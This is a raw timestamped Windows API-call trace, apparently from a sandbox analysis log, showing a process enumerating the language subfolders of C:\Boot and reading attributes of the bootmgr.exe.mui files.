lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.137] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.137] GetLastError () returned 0x12 [0035.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0035.137] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0035.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0035.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.138] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0035.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.138] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.138] CreateFileW (lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0035.138] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0035.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0035.138] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0035.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0035.138] NtClose (Handle=0x148) returned 0x0 [0035.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0035.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0035.139] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0035.139] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.139] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.139] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.139] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85ea8 [0035.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c160 [0035.139] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.139] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.139] GetLastError () returned 0x12 [0035.139] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0035.139] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0035.139] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.139] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.139] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.139] GetLastError () returned 0x12 [0035.139] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0035.139] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0035.140] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0035.140] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.140] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0035.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.140] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.395] CreateFileW (lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0035.397] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0035.397] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0035.397] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0035.408] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0035.408] NtClose (Handle=0x180) returned 0x0 [0035.418] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.418] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.418] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0035.418] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0035.418] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0035.419] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.419] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.419] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.419] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.419] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.419] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.419] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.419] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85ec8 [0035.420] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c1e8 [0035.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.420] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.420] GetLastError () returned 0x12 [0035.420] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0035.420] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0035.420] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.420] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.420] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.420] GetLastError () returned 0x12 [0035.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0035.420] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0035.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0035.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.423] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0035.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.423] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.427] CreateFileW (lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0035.427] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0035.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0035.427] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0035.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0035.427] NtClose (Handle=0x148) returned 0x0 [0035.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0035.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0035.428] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0035.428] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.428] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0035.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85ee8 [0035.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c270 [0035.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0035.429] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.429] GetLastError () returned 0x12 [0035.429] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0035.430] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0035.430] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.430] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0035.430] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0035.430] GetLastError () returned 0x12 [0035.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0035.433] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0035.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0035.433] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.433] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0035.433] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.433] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.435] CreateFileW (lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0035.436] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0035.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0035.436] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0035.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 